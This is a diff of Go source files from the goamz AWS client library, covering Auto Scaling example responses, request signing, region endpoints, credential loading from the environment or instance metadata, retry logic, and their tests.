<CreateLaunchConfigurationResponse xmlns="http://autoscaling.amazonaws.com/doc/2011-01-01/">
|
||||
<ResponseMetadata>
|
||||
<RequestId>7c6e177f-f082-11e1-ac58-3714bEXAMPLE</RequestId>
|
||||
</ResponseMetadata>
|
||||
</CreateLaunchConfigurationResponse>
|
||||
`
|
||||
|
||||
var DescribeLaunchConfigurationsExample = `
|
||||
<DescribeLaunchConfigurationsResponse xmlns="http://autoscaling.amazonaws.com/doc/2011-01-01/">
|
||||
<DescribeLaunchConfigurationsResult>
|
||||
<LaunchConfigurations>
|
||||
<member>
|
||||
<AssociatePublicIpAddress>true</AssociatePublicIpAddress>
|
||||
<SecurityGroups/>
|
||||
<PlacementTenancy>dedicated</PlacementTenancy>
|
||||
<CreatedTime>2013-01-21T23:04:42.200Z</CreatedTime>
|
||||
<KernelId/>
|
||||
<LaunchConfigurationName>my-test-lc</LaunchConfigurationName>
|
||||
<UserData/>
|
||||
<InstanceType>m1.small</InstanceType>
|
||||
<LaunchConfigurationARN>arn:aws:autoscaling:us-east-1:803981987763:launchConfiguration:
|
||||
9dbbbf87-6141-428a-a409-0752edbe6cad:launchConfigurationName/my-test-lc</LaunchConfigurationARN>
|
||||
<BlockDeviceMappings/>
|
||||
<ImageId>ami-514ac838</ImageId>
|
||||
<KeyName/>
|
||||
<RamdiskId/>
|
||||
<InstanceMonitoring>
|
||||
<Enabled>true</Enabled>
|
||||
</InstanceMonitoring>
|
||||
<EbsOptimized>false</EbsOptimized>
|
||||
</member>
|
||||
</LaunchConfigurations>
|
||||
</DescribeLaunchConfigurationsResult>
|
||||
<ResponseMetadata>
|
||||
<RequestId>d05a22f8-b690-11e2-bf8e-2113fEXAMPLE</RequestId>
|
||||
</ResponseMetadata>
|
||||
</DescribeLaunchConfigurationsResponse>
|
||||
`
|
||||
|
||||
var DescribeAutoScalingGroupsExample = `
|
||||
<DescribeAutoScalingGroupsResponse xmlns="http://autoscaling.amazonaws.com/doc/2011-01-01/">
|
||||
<DescribeAutoScalingGroupsResult>
|
||||
<AutoScalingGroups>
|
||||
<member>
|
||||
<Tags/>
|
||||
<SuspendedProcesses/>
|
||||
<AutoScalingGroupName>my-test-asg-lbs</AutoScalingGroupName>
|
||||
<HealthCheckType>ELB</HealthCheckType>
|
||||
<CreatedTime>2013-05-06T17:47:15.107Z</CreatedTime>
|
||||
<EnabledMetrics/>
|
||||
<LaunchConfigurationName>my-test-lc</LaunchConfigurationName>
|
||||
<Instances/>
|
||||
<DesiredCapacity>2</DesiredCapacity>
|
||||
<AvailabilityZones>
|
||||
<member>us-east-1b</member>
|
||||
<member>us-east-1a</member>
|
||||
</AvailabilityZones>
|
||||
<LoadBalancerNames>
|
||||
<member>my-test-asg-loadbalancer</member>
|
||||
</LoadBalancerNames>
|
||||
<MinSize>2</MinSize>
|
||||
<VPCZoneIdentifier/>
|
||||
<HealthCheckGracePeriod>120</HealthCheckGracePeriod>
|
||||
<DefaultCooldown>300</DefaultCooldown>
|
||||
<AutoScalingGroupARN>arn:aws:autoscaling:us-east-1:803981987763:autoScalingGroup:ca861182-c8f9-4ca7-b1eb-cd35505f5ebb
|
||||
:autoScalingGroupName/my-test-asg-lbs</AutoScalingGroupARN>
|
||||
<TerminationPolicies>
|
||||
<member>Default</member>
|
||||
</TerminationPolicies>
|
||||
<MaxSize>10</MaxSize>
|
||||
</member>
|
||||
</AutoScalingGroups>
|
||||
</DescribeAutoScalingGroupsResult>
|
||||
<ResponseMetadata>
|
||||
<RequestId>0f02a07d-b677-11e2-9eb0-dd50EXAMPLE</RequestId>
|
||||
</ResponseMetadata>
|
||||
</DescribeAutoScalingGroupsResponse>
|
||||
`
|
||||
|
||||
var DeleteLaunchConfigurationExample = `<DeleteLaunchConfigurationResponse xmlns="http://autoscaling.amazonaws.com/doc/2011-01-01/">
|
||||
<ResponseMetadata>
|
||||
<RequestId>7347261f-97df-11e2-8756-35eEXAMPLE</RequestId>
|
||||
</ResponseMetadata>
|
||||
</DeleteLaunchConfigurationResponse>`
|
||||
|
||||
var DeleteAutoScalingGroupExample = `<DeleteAutoScalingGroupResponse xmlns="http://autoscaling.amazonaws.com/doc/2011-01-01/">
|
||||
<ResponseMetadata>
|
||||
<RequestId>70a76d42-9665-11e2-9fdf-211deEXAMPLE</RequestId>
|
||||
</ResponseMetadata>
|
||||
</DeleteAutoScalingGroupResponse>`
|
||||
|
||||
var UpdateAutoScalingGroupExample = `
|
||||
<UpdateAutoScalingGroupResponse xmlns="http://autoscaling.amazonaws.com/doc/2011-01-01/">
|
||||
<ResponseMetadata>
|
||||
<RequestId>adafead0-ab8a-11e2-ba13-ab0ccEXAMPLE</RequestId>
|
||||
</ResponseMetadata>
|
||||
</UpdateAutoScalingGroupResponse>
|
||||
`
|
||||
@@ -0,0 +1,38 @@
|
||||
package autoscaling
|
||||
|
||||
import (
|
||||
"crypto/hmac"
|
||||
"crypto/sha256"
|
||||
"encoding/base64"
|
||||
"github.com/mitchellh/goamz/aws"
|
||||
"sort"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// ----------------------------------------------------------------------------
|
||||
// Version 2 signing (http://goo.gl/RSRp5)
|
||||
|
||||
var b64 = base64.StdEncoding
|
||||
|
||||
func sign(auth aws.Auth, method, path string, params map[string]string, host string) {
|
||||
params["AWSAccessKeyId"] = auth.AccessKey
|
||||
params["SignatureVersion"] = "2"
|
||||
params["SignatureMethod"] = "HmacSHA256"
|
||||
if auth.Token != "" {
|
||||
params["SecurityToken"] = auth.Token
|
||||
}
|
||||
|
||||
var sarray []string
|
||||
for k, v := range params {
|
||||
sarray = append(sarray, aws.Encode(k)+"="+aws.Encode(v))
|
||||
}
|
||||
sort.StringSlice(sarray).Sort()
|
||||
joined := strings.Join(sarray, "&")
|
||||
payload := method + "\n" + host + "\n" + path + "\n" + joined
|
||||
hash := hmac.New(sha256.New, []byte(auth.SecretKey))
|
||||
hash.Write([]byte(payload))
|
||||
signature := make([]byte, b64.EncodedLen(hash.Size()))
|
||||
b64.Encode(signature, hash.Sum(nil))
|
||||
|
||||
params["Signature"] = string(signature)
|
||||
}
|
||||
@@ -0,0 +1,74 @@
|
||||
package aws
|
||||
|
||||
import (
|
||||
"time"
|
||||
)
|
||||
|
||||
// AttemptStrategy represents a strategy for waiting for an action
|
||||
// to complete successfully. This is an internal type used by the
|
||||
// implementation of other goamz packages.
|
||||
type AttemptStrategy struct {
|
||||
Total time.Duration // total duration of attempt.
|
||||
Delay time.Duration // interval between each try in the burst.
|
||||
Min int // minimum number of retries; overrides Total
|
||||
}
|
||||
|
||||
type Attempt struct {
|
||||
strategy AttemptStrategy
|
||||
last time.Time
|
||||
end time.Time
|
||||
force bool
|
||||
count int
|
||||
}
|
||||
|
||||
// Start begins a new sequence of attempts for the given strategy.
|
||||
func (s AttemptStrategy) Start() *Attempt {
|
||||
now := time.Now()
|
||||
return &Attempt{
|
||||
strategy: s,
|
||||
last: now,
|
||||
end: now.Add(s.Total),
|
||||
force: true,
|
||||
}
|
||||
}
|
||||
|
||||
// Next waits until it is time to perform the next attempt or returns
|
||||
// false if it is time to stop trying.
|
||||
func (a *Attempt) Next() bool {
|
||||
now := time.Now()
|
||||
sleep := a.nextSleep(now)
|
||||
if !a.force && !now.Add(sleep).Before(a.end) && a.strategy.Min <= a.count {
|
||||
return false
|
||||
}
|
||||
a.force = false
|
||||
if sleep > 0 && a.count > 0 {
|
||||
time.Sleep(sleep)
|
||||
now = time.Now()
|
||||
}
|
||||
a.count++
|
||||
a.last = now
|
||||
return true
|
||||
}
|
||||
|
||||
func (a *Attempt) nextSleep(now time.Time) time.Duration {
|
||||
sleep := a.strategy.Delay - now.Sub(a.last)
|
||||
if sleep < 0 {
|
||||
return 0
|
||||
}
|
||||
return sleep
|
||||
}
|
||||
|
||||
// HasNext returns whether another attempt will be made if the current
|
||||
// one fails. If it returns true, the following call to Next is
|
||||
// guaranteed to return true.
|
||||
func (a *Attempt) HasNext() bool {
|
||||
if a.force || a.strategy.Min > a.count {
|
||||
return true
|
||||
}
|
||||
now := time.Now()
|
||||
if now.Add(a.nextSleep(now)).Before(a.end) {
|
||||
a.force = true
|
||||
return true
|
||||
}
|
||||
return false
|
||||
}
|
||||
@@ -0,0 +1,57 @@
|
||||
package aws_test
|
||||
|
||||
import (
|
||||
"github.com/mitchellh/goamz/aws"
|
||||
. "github.com/motain/gocheck"
|
||||
"time"
|
||||
)
|
||||
|
||||
func (S) TestAttemptTiming(c *C) {
|
||||
testAttempt := aws.AttemptStrategy{
|
||||
Total: 0.25e9,
|
||||
Delay: 0.1e9,
|
||||
}
|
||||
want := []time.Duration{0, 0.1e9, 0.2e9, 0.2e9}
|
||||
got := make([]time.Duration, 0, len(want)) // avoid allocation when testing timing
|
||||
t0 := time.Now()
|
||||
for a := testAttempt.Start(); a.Next(); {
|
||||
got = append(got, time.Now().Sub(t0))
|
||||
}
|
||||
got = append(got, time.Now().Sub(t0))
|
||||
c.Assert(got, HasLen, len(want))
|
||||
const margin = 0.01e9
|
||||
for i, got := range want {
|
||||
lo := want[i] - margin
|
||||
hi := want[i] + margin
|
||||
if got < lo || got > hi {
|
||||
c.Errorf("attempt %d want %g got %g", i, want[i].Seconds(), got.Seconds())
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (S) TestAttemptNextHasNext(c *C) {
|
||||
a := aws.AttemptStrategy{}.Start()
|
||||
c.Assert(a.Next(), Equals, true)
|
||||
c.Assert(a.Next(), Equals, false)
|
||||
|
||||
a = aws.AttemptStrategy{}.Start()
|
||||
c.Assert(a.Next(), Equals, true)
|
||||
c.Assert(a.HasNext(), Equals, false)
|
||||
c.Assert(a.Next(), Equals, false)
|
||||
|
||||
a = aws.AttemptStrategy{Total: 2e8}.Start()
|
||||
c.Assert(a.Next(), Equals, true)
|
||||
c.Assert(a.HasNext(), Equals, true)
|
||||
time.Sleep(2e8)
|
||||
c.Assert(a.HasNext(), Equals, true)
|
||||
c.Assert(a.Next(), Equals, true)
|
||||
c.Assert(a.Next(), Equals, false)
|
||||
|
||||
a = aws.AttemptStrategy{Total: 1e8, Min: 2}.Start()
|
||||
time.Sleep(1e8)
|
||||
c.Assert(a.Next(), Equals, true)
|
||||
c.Assert(a.HasNext(), Equals, true)
|
||||
c.Assert(a.Next(), Equals, true)
|
||||
c.Assert(a.HasNext(), Equals, false)
|
||||
c.Assert(a.Next(), Equals, false)
|
||||
}
|
||||
@@ -0,0 +1,352 @@
|
||||
//
|
||||
// goamz - Go packages to interact with the Amazon Web Services.
|
||||
//
|
||||
// https://wiki.ubuntu.com/goamz
|
||||
//
|
||||
// Copyright (c) 2011 Canonical Ltd.
|
||||
//
|
||||
// Written by Gustavo Niemeyer <gustavo.niemeyer@canonical.com>
|
||||
//
|
||||
package aws
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
)
|
||||
|
||||
// Region defines the URLs where AWS services may be accessed.
|
||||
//
|
||||
// See http://goo.gl/d8BP1 for more details.
|
||||
type Region struct {
|
||||
Name string // the canonical name of this region.
|
||||
EC2Endpoint string
|
||||
S3Endpoint string
|
||||
S3BucketEndpoint string // Not needed by AWS S3. Use ${bucket} for bucket name.
|
||||
S3LocationConstraint bool // true if this region requires a LocationConstraint declaration.
|
||||
S3LowercaseBucket bool // true if the region requires bucket names to be lower case.
|
||||
SDBEndpoint string
|
||||
SNSEndpoint string
|
||||
SQSEndpoint string
|
||||
IAMEndpoint string
|
||||
ELBEndpoint string
|
||||
AutoScalingEndpoint string
|
||||
RdsEndpoint string
|
||||
Route53Endpoint string
|
||||
}
|
||||
|
||||
var USGovWest = Region{
|
||||
"us-gov-west-1",
|
||||
"https://ec2.us-gov-west-1.amazonaws.com",
|
||||
"https://s3-fips-us-gov-west-1.amazonaws.com",
|
||||
"",
|
||||
true,
|
||||
true,
|
||||
"",
|
||||
"https://sns.us-gov-west-1.amazonaws.com",
|
||||
"https://sqs.us-gov-west-1.amazonaws.com",
|
||||
"https://iam.us-gov.amazonaws.com",
|
||||
"https://elasticloadbalancing.us-gov-west-1.amazonaws.com",
|
||||
"https://autoscaling.us-gov-west-1.amazonaws.com",
|
||||
"https://rds.us-gov-west-1.amazonaws.com",
|
||||
"https://route53.amazonaws.com",
|
||||
}
|
||||
|
||||
var USEast = Region{
|
||||
"us-east-1",
|
||||
"https://ec2.us-east-1.amazonaws.com",
|
||||
"https://s3.amazonaws.com",
|
||||
"",
|
||||
false,
|
||||
false,
|
||||
"https://sdb.amazonaws.com",
|
||||
"https://sns.us-east-1.amazonaws.com",
|
||||
"https://sqs.us-east-1.amazonaws.com",
|
||||
"https://iam.amazonaws.com",
|
||||
"https://elasticloadbalancing.us-east-1.amazonaws.com",
|
||||
"https://autoscaling.us-east-1.amazonaws.com",
|
||||
"https://rds.us-east-1.amazonaws.com",
|
||||
"https://route53.amazonaws.com",
|
||||
}
|
||||
|
||||
var USWest = Region{
|
||||
"us-west-1",
|
||||
"https://ec2.us-west-1.amazonaws.com",
|
||||
"https://s3-us-west-1.amazonaws.com",
|
||||
"",
|
||||
true,
|
||||
true,
|
||||
"https://sdb.us-west-1.amazonaws.com",
|
||||
"https://sns.us-west-1.amazonaws.com",
|
||||
"https://sqs.us-west-1.amazonaws.com",
|
||||
"https://iam.amazonaws.com",
|
||||
"https://elasticloadbalancing.us-west-1.amazonaws.com",
|
||||
"https://autoscaling.us-west-1.amazonaws.com",
|
||||
"https://rds.us-west-1.amazonaws.com",
|
||||
"https://route53.amazonaws.com",
|
||||
}
|
||||
|
||||
var USWest2 = Region{
|
||||
"us-west-2",
|
||||
"https://ec2.us-west-2.amazonaws.com",
|
||||
"https://s3-us-west-2.amazonaws.com",
|
||||
"",
|
||||
true,
|
||||
true,
|
||||
"https://sdb.us-west-2.amazonaws.com",
|
||||
"https://sns.us-west-2.amazonaws.com",
|
||||
"https://sqs.us-west-2.amazonaws.com",
|
||||
"https://iam.amazonaws.com",
|
||||
"https://elasticloadbalancing.us-west-2.amazonaws.com",
|
||||
"https://autoscaling.us-west-2.amazonaws.com",
|
||||
"https://rds.us-west-2.amazonaws.com",
|
||||
"https://route53.amazonaws.com",
|
||||
}
|
||||
|
||||
var EUWest = Region{
|
||||
"eu-west-1",
|
||||
"https://ec2.eu-west-1.amazonaws.com",
|
||||
"https://s3-eu-west-1.amazonaws.com",
|
||||
"",
|
||||
true,
|
||||
true,
|
||||
"https://sdb.eu-west-1.amazonaws.com",
|
||||
"https://sns.eu-west-1.amazonaws.com",
|
||||
"https://sqs.eu-west-1.amazonaws.com",
|
||||
"https://iam.amazonaws.com",
|
||||
"https://elasticloadbalancing.eu-west-1.amazonaws.com",
|
||||
"https://autoscaling.eu-west-1.amazonaws.com",
|
||||
"https://rds.eu-west-1.amazonaws.com",
|
||||
"https://route53.amazonaws.com",
|
||||
}
|
||||
|
||||
var APSoutheast = Region{
|
||||
"ap-southeast-1",
|
||||
"https://ec2.ap-southeast-1.amazonaws.com",
|
||||
"https://s3-ap-southeast-1.amazonaws.com",
|
||||
"",
|
||||
true,
|
||||
true,
|
||||
"https://sdb.ap-southeast-1.amazonaws.com",
|
||||
"https://sns.ap-southeast-1.amazonaws.com",
|
||||
"https://sqs.ap-southeast-1.amazonaws.com",
|
||||
"https://iam.amazonaws.com",
|
||||
"https://elasticloadbalancing.ap-southeast-1.amazonaws.com",
|
||||
"https://autoscaling.ap-southeast-1.amazonaws.com",
|
||||
"https://rds.ap-southeast-1.amazonaws.com",
|
||||
"https://route53.amazonaws.com",
|
||||
}
|
||||
|
||||
var APSoutheast2 = Region{
|
||||
"ap-southeast-2",
|
||||
"https://ec2.ap-southeast-2.amazonaws.com",
|
||||
"https://s3-ap-southeast-2.amazonaws.com",
|
||||
"",
|
||||
true,
|
||||
true,
|
||||
"https://sdb.ap-southeast-2.amazonaws.com",
|
||||
"https://sns.ap-southeast-2.amazonaws.com",
|
||||
"https://sqs.ap-southeast-2.amazonaws.com",
|
||||
"https://iam.amazonaws.com",
|
||||
"https://elasticloadbalancing.ap-southeast-2.amazonaws.com",
|
||||
"https://autoscaling.ap-southeast-2.amazonaws.com",
|
||||
"https://rds.ap-southeast-2.amazonaws.com",
|
||||
"https://route53.amazonaws.com",
|
||||
}
|
||||
|
||||
var APNortheast = Region{
|
||||
"ap-northeast-1",
|
||||
"https://ec2.ap-northeast-1.amazonaws.com",
|
||||
"https://s3-ap-northeast-1.amazonaws.com",
|
||||
"",
|
||||
true,
|
||||
true,
|
||||
"https://sdb.ap-northeast-1.amazonaws.com",
|
||||
"https://sns.ap-northeast-1.amazonaws.com",
|
||||
"https://sqs.ap-northeast-1.amazonaws.com",
|
||||
"https://iam.amazonaws.com",
|
||||
"https://elasticloadbalancing.ap-northeast-1.amazonaws.com",
|
||||
"https://autoscaling.ap-northeast-1.amazonaws.com",
|
||||
"https://rds.ap-northeast-1.amazonaws.com",
|
||||
"https://route53.amazonaws.com",
|
||||
}
|
||||
|
||||
var SAEast = Region{
|
||||
"sa-east-1",
|
||||
"https://ec2.sa-east-1.amazonaws.com",
|
||||
"https://s3-sa-east-1.amazonaws.com",
|
||||
"",
|
||||
true,
|
||||
true,
|
||||
"https://sdb.sa-east-1.amazonaws.com",
|
||||
"https://sns.sa-east-1.amazonaws.com",
|
||||
"https://sqs.sa-east-1.amazonaws.com",
|
||||
"https://iam.amazonaws.com",
|
||||
"https://elasticloadbalancing.sa-east-1.amazonaws.com",
|
||||
"https://autoscaling.sa-east-1.amazonaws.com",
|
||||
"https://rds.sa-east-1.amazonaws.com",
|
||||
"https://route53.amazonaws.com",
|
||||
}
|
||||
|
||||
var Regions = map[string]Region{
|
||||
APNortheast.Name: APNortheast,
|
||||
APSoutheast.Name: APSoutheast,
|
||||
APSoutheast2.Name: APSoutheast2,
|
||||
EUWest.Name: EUWest,
|
||||
USEast.Name: USEast,
|
||||
USWest.Name: USWest,
|
||||
USWest2.Name: USWest2,
|
||||
SAEast.Name: SAEast,
|
||||
USGovWest.Name: USGovWest,
|
||||
}
|
||||
|
||||
type Auth struct {
|
||||
AccessKey, SecretKey, Token string
|
||||
}
|
||||
|
||||
var unreserved = make([]bool, 128)
|
||||
var hex = "0123456789ABCDEF"
|
||||
|
||||
func init() {
|
||||
// RFC3986
|
||||
u := "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz01234567890-_.~"
|
||||
for _, c := range u {
|
||||
unreserved[c] = true
|
||||
}
|
||||
}
|
||||
|
||||
type credentials struct {
|
||||
Code string
|
||||
LastUpdated string
|
||||
Type string
|
||||
AccessKeyId string
|
||||
SecretAccessKey string
|
||||
Token string
|
||||
Expiration string
|
||||
}
|
||||
|
||||
// GetMetaData retrieves instance metadata about the current machine.
|
||||
//
|
||||
// See http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/AESDG-chapter-instancedata.html for more details.
|
||||
func GetMetaData(path string) (contents []byte, err error) {
|
||||
url := "http://169.254.169.254/latest/meta-data/" + path
|
||||
|
||||
resp, err := RetryingClient.Get(url)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
|
||||
if resp.StatusCode != 200 {
|
||||
err = fmt.Errorf("Code %d returned for url %s", resp.StatusCode, url)
|
||||
return
|
||||
}
|
||||
|
||||
body, err := ioutil.ReadAll(resp.Body)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
return []byte(body), err
|
||||
}
|
||||
|
||||
func getInstanceCredentials() (cred credentials, err error) {
|
||||
credentialPath := "iam/security-credentials/"
|
||||
|
||||
// Get the instance role
|
||||
role, err := GetMetaData(credentialPath)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
// Get the instance role credentials
|
||||
credentialJSON, err := GetMetaData(credentialPath + string(role))
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
err = json.Unmarshal([]byte(credentialJSON), &cred)
|
||||
return
|
||||
}
|
||||
|
||||
// GetAuth creates an Auth based on either passed in credentials,
|
||||
// environment information or instance based role credentials.
|
||||
func GetAuth(accessKey string, secretKey string) (auth Auth, err error) {
|
||||
// First try passed in credentials
|
||||
if accessKey != "" && secretKey != "" {
|
||||
return Auth{accessKey, secretKey, ""}, nil
|
||||
}
|
||||
|
||||
// Next try to get auth from the environment
|
||||
auth, err = EnvAuth()
|
||||
if err == nil {
|
||||
// Found auth, return
|
||||
return
|
||||
}
|
||||
|
||||
// Next try getting auth from the instance role
|
||||
cred, err := getInstanceCredentials()
|
||||
if err == nil {
|
||||
// Found auth, return
|
||||
auth.AccessKey = cred.AccessKeyId
|
||||
auth.SecretKey = cred.SecretAccessKey
|
||||
auth.Token = cred.Token
|
||||
return
|
||||
}
|
||||
err = errors.New("No valid AWS authentication found")
|
||||
return
|
||||
}
|
||||
|
||||
// EnvAuth creates an Auth based on environment information.
|
||||
// The AWS_ACCESS_KEY_ID and AWS_SECRET_ACCESS_KEY environment
|
||||
// variables are used.
|
||||
func EnvAuth() (auth Auth, err error) {
|
||||
auth.AccessKey = os.Getenv("AWS_ACCESS_KEY_ID")
|
||||
if auth.AccessKey == "" {
|
||||
auth.AccessKey = os.Getenv("AWS_ACCESS_KEY")
|
||||
}
|
||||
|
||||
auth.SecretKey = os.Getenv("AWS_SECRET_ACCESS_KEY")
|
||||
if auth.SecretKey == "" {
|
||||
auth.SecretKey = os.Getenv("AWS_SECRET_KEY")
|
||||
}
|
||||
if auth.AccessKey == "" {
|
||||
err = errors.New("AWS_ACCESS_KEY_ID or AWS_ACCESS_KEY not found in environment")
|
||||
}
|
||||
if auth.SecretKey == "" {
|
||||
err = errors.New("AWS_SECRET_ACCESS_KEY or AWS_SECRET_KEY not found in environment")
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
// Encode takes a string and URI-encodes it in a way suitable
|
||||
// to be used in AWS signatures.
|
||||
func Encode(s string) string {
|
||||
encode := false
|
||||
for i := 0; i != len(s); i++ {
|
||||
c := s[i]
|
||||
if c > 127 || !unreserved[c] {
|
||||
encode = true
|
||||
break
|
||||
}
|
||||
}
|
||||
if !encode {
|
||||
return s
|
||||
}
|
||||
e := make([]byte, len(s)*3)
|
||||
ei := 0
|
||||
for i := 0; i != len(s); i++ {
|
||||
c := s[i]
|
||||
if c > 127 || !unreserved[c] {
|
||||
e[ei] = '%'
|
||||
e[ei+1] = hex[c>>4]
|
||||
e[ei+2] = hex[c&0xF]
|
||||
ei += 3
|
||||
} else {
|
||||
e[ei] = c
|
||||
ei += 1
|
||||
}
|
||||
}
|
||||
return string(e[:ei])
|
||||
}
|
||||
@@ -0,0 +1,88 @@
|
||||
package aws_test
|
||||
|
||||
import (
|
||||
"github.com/mitchellh/goamz/aws"
|
||||
. "github.com/motain/gocheck"
|
||||
"os"
|
||||
"strings"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func Test(t *testing.T) {
|
||||
TestingT(t)
|
||||
}
|
||||
|
||||
var _ = Suite(&S{})
|
||||
|
||||
type S struct {
|
||||
environ []string
|
||||
}
|
||||
|
||||
func (s *S) SetUpSuite(c *C) {
|
||||
s.environ = os.Environ()
|
||||
}
|
||||
|
||||
func (s *S) TearDownTest(c *C) {
|
||||
os.Clearenv()
|
||||
for _, kv := range s.environ {
|
||||
l := strings.SplitN(kv, "=", 2)
|
||||
os.Setenv(l[0], l[1])
|
||||
}
|
||||
}
|
||||
|
||||
func (s *S) TestEnvAuthNoSecret(c *C) {
|
||||
os.Clearenv()
|
||||
_, err := aws.EnvAuth()
|
||||
c.Assert(err, ErrorMatches, "AWS_SECRET_ACCESS_KEY or AWS_SECRET_KEY not found in environment")
|
||||
}
|
||||
|
||||
func (s *S) TestEnvAuthNoAccess(c *C) {
|
||||
os.Clearenv()
|
||||
os.Setenv("AWS_SECRET_ACCESS_KEY", "foo")
|
||||
_, err := aws.EnvAuth()
|
||||
c.Assert(err, ErrorMatches, "AWS_ACCESS_KEY_ID or AWS_ACCESS_KEY not found in environment")
|
||||
}
|
||||
|
||||
func (s *S) TestEnvAuth(c *C) {
|
||||
os.Clearenv()
|
||||
os.Setenv("AWS_SECRET_ACCESS_KEY", "secret")
|
||||
os.Setenv("AWS_ACCESS_KEY_ID", "access")
|
||||
auth, err := aws.EnvAuth()
|
||||
c.Assert(err, IsNil)
|
||||
c.Assert(auth, Equals, aws.Auth{SecretKey: "secret", AccessKey: "access"})
|
||||
}
|
||||
|
||||
func (s *S) TestEnvAuthAlt(c *C) {
|
||||
os.Clearenv()
|
||||
os.Setenv("AWS_SECRET_KEY", "secret")
|
||||
os.Setenv("AWS_ACCESS_KEY", "access")
|
||||
auth, err := aws.EnvAuth()
|
||||
c.Assert(err, IsNil)
|
||||
c.Assert(auth, Equals, aws.Auth{SecretKey: "secret", AccessKey: "access"})
|
||||
}
|
||||
|
||||
func (s *S) TestGetAuthStatic(c *C) {
|
||||
auth, err := aws.GetAuth("access", "secret")
|
||||
c.Assert(err, IsNil)
|
||||
c.Assert(auth, Equals, aws.Auth{SecretKey: "secret", AccessKey: "access"})
|
||||
}
|
||||
|
||||
func (s *S) TestGetAuthEnv(c *C) {
|
||||
os.Clearenv()
|
||||
os.Setenv("AWS_SECRET_ACCESS_KEY", "secret")
|
||||
os.Setenv("AWS_ACCESS_KEY_ID", "access")
|
||||
auth, err := aws.GetAuth("", "")
|
||||
c.Assert(err, IsNil)
|
||||
c.Assert(auth, Equals, aws.Auth{SecretKey: "secret", AccessKey: "access"})
|
||||
}
|
||||
|
||||
func (s *S) TestEncode(c *C) {
|
||||
c.Assert(aws.Encode("foo"), Equals, "foo")
|
||||
c.Assert(aws.Encode("/"), Equals, "%2F")
|
||||
}
|
||||
|
||||
func (s *S) TestRegionsAreNamed(c *C) {
|
||||
for n, r := range aws.Regions {
|
||||
c.Assert(n, Equals, r.Name)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,125 @@
|
||||
package aws
|
||||
|
||||
import (
|
||||
"math"
|
||||
"net"
|
||||
"net/http"
|
||||
"time"
|
||||
)
|
||||
|
||||
type RetryableFunc func(*http.Request, *http.Response, error) bool
|
||||
type WaitFunc func(try int)
|
||||
type DeadlineFunc func() time.Time
|
||||
|
||||
type ResilientTransport struct {
|
||||
// Timeout is the maximum amount of time a dial will wait for
|
||||
// a connect to complete.
|
||||
//
|
||||
// The default is no timeout.
|
||||
//
|
||||
// With or without a timeout, the operating system may impose
|
||||
// its own earlier timeout. For instance, TCP timeouts are
|
||||
// often around 3 minutes.
|
||||
DialTimeout time.Duration
|
||||
|
||||
// MaxTries, if non-zero, specifies the number of times we will retry on
|
||||
// failure. Retries are only attempted for temporary network errors or known
|
||||
// safe failures.
|
||||
MaxTries int
|
||||
Deadline DeadlineFunc
|
||||
ShouldRetry RetryableFunc
|
||||
Wait WaitFunc
|
||||
transport *http.Transport
|
||||
}
|
||||
|
||||
// Convenience method for creating an http client
|
||||
func NewClient(rt *ResilientTransport) *http.Client {
|
||||
rt.transport = &http.Transport{
|
||||
Dial: func(netw, addr string) (net.Conn, error) {
|
||||
c, err := net.DialTimeout(netw, addr, rt.DialTimeout)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
c.SetDeadline(rt.Deadline())
|
||||
return c, nil
|
||||
},
|
||||
DisableKeepAlives: true,
|
||||
Proxy: http.ProxyFromEnvironment,
|
||||
}
|
||||
// TODO: Would be nice is ResilientTransport allowed clients to initialize
|
||||
// with http.Transport attributes.
|
||||
return &http.Client{
|
||||
Transport: rt,
|
||||
}
|
||||
}
|
||||
|
||||
var retryingTransport = &ResilientTransport{
|
||||
Deadline: func() time.Time {
|
||||
return time.Now().Add(5 * time.Second)
|
||||
},
|
||||
DialTimeout: 10 * time.Second,
|
||||
MaxTries: 3,
|
||||
ShouldRetry: awsRetry,
|
||||
Wait: ExpBackoff,
|
||||
}
|
||||
|
||||
// Exported default client
|
||||
var RetryingClient = NewClient(retryingTransport)
|
||||
|
||||
func (t *ResilientTransport) RoundTrip(req *http.Request) (*http.Response, error) {
|
||||
return t.tries(req)
|
||||
}
|
||||
|
||||
// Retry a request a maximum of t.MaxTries times.
|
||||
// We'll only retry if the proper criteria are met.
|
||||
// If a wait function is specified, wait that amount of time
|
||||
// In between requests.
|
||||
func (t *ResilientTransport) tries(req *http.Request) (res *http.Response, err error) {
|
||||
for try := 0; try < t.MaxTries; try += 1 {
|
||||
res, err = t.transport.RoundTrip(req)
|
||||
|
||||
if !t.ShouldRetry(req, res, err) {
|
||||
break
|
||||
}
|
||||
if res != nil {
|
||||
res.Body.Close()
|
||||
}
|
||||
if t.Wait != nil {
|
||||
t.Wait(try)
|
||||
}
|
||||
}
|
||||
|
||||
return
|
||||
}
|
||||
|
||||
func ExpBackoff(try int) {
|
||||
time.Sleep(100 * time.Millisecond *
|
||||
time.Duration(math.Exp2(float64(try))))
|
||||
}
|
||||
|
||||
func LinearBackoff(try int) {
|
||||
time.Sleep(time.Duration(try*100) * time.Millisecond)
|
||||
}
|
||||
|
||||
// Decide if we should retry a request.
|
||||
// In general, the criteria for retrying a request is described here
|
||||
// http://docs.aws.amazon.com/general/latest/gr/api-retries.html
|
||||
func awsRetry(req *http.Request, res *http.Response, err error) bool {
|
||||
retry := false
|
||||
|
||||
// Retry if there's a temporary network error.
|
||||
if neterr, ok := err.(net.Error); ok {
|
||||
if neterr.Temporary() {
|
||||
retry = true
|
||||
}
|
||||
}
|
||||
|
||||
// Retry if we get a 5xx series error.
|
||||
if res != nil {
|
||||
if res.StatusCode >= 500 && res.StatusCode < 600 {
|
||||
retry = true
|
||||
}
|
||||
}
|
||||
|
||||
return retry
|
||||
}
|
||||
